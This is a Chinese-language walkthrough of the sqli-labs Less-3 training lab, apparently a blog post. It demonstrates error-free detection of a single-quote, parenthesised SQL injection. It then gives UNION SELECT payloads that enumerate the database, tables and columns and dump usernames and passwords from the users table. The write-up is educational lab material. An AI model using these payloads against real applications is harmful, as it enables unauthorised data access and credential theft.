[网络安全]sqli-labs Less-3 解题详析

判断注入类型

GET1' and '1'='1,回显如下:
GET1' and '1'='2
没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 2 --+,回显如下:

由上图可知,sql语法中给$id加上了()

猜测后端语句为SELECT * FROM xx where id=('$id')

故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=('1') order by 3 --+')

SELECT * FROM xx where id=('-1') order by 3

GET1') order by 4 --+

GET1') order by 3 --+
故注入点为3个

查库名

GET-1') union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

复制代码
-1') union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
xxjj998a41 分钟前
Laravel6.x核心特性全解析
数据库·mysql·adb
KKKlucifer8 小时前
数据安全合规自动化:策略落地、审计追溯与风险闭环技术解析
人工智能·安全
m0_748554818 小时前
golang如何实现用户订阅偏好管理_golang用户订阅偏好管理实现总结
jvm·数据库·python
wanhengidc8 小时前
云手机 高振畅玩不踩坑
运维·服务器·安全·web安全·智能手机
易连EDI—EasyLink9 小时前
易连EDI–EasyLink实现OCR智能数据采集
网络·人工智能·安全·汽车·ocr·edi
早日退休!!!9 小时前
《数据结构选型指南》笔记
数据结构·数据库·oracle
xcLeigh9 小时前
KES数据库性能优化实战
数据库·sql·性能优化·sql优化·数据性能
阿正呀9 小时前
Redis怎样实现本地缓存的高效失效通知
jvm·数据库·python
yoyo_zzm9 小时前
Laravel9.x新特性全解析
数据库·mysql·nginx
2501_901200539 小时前
mysql如何设置InnoDB引擎参数_优化innodb_buffer_pool
jvm·数据库·python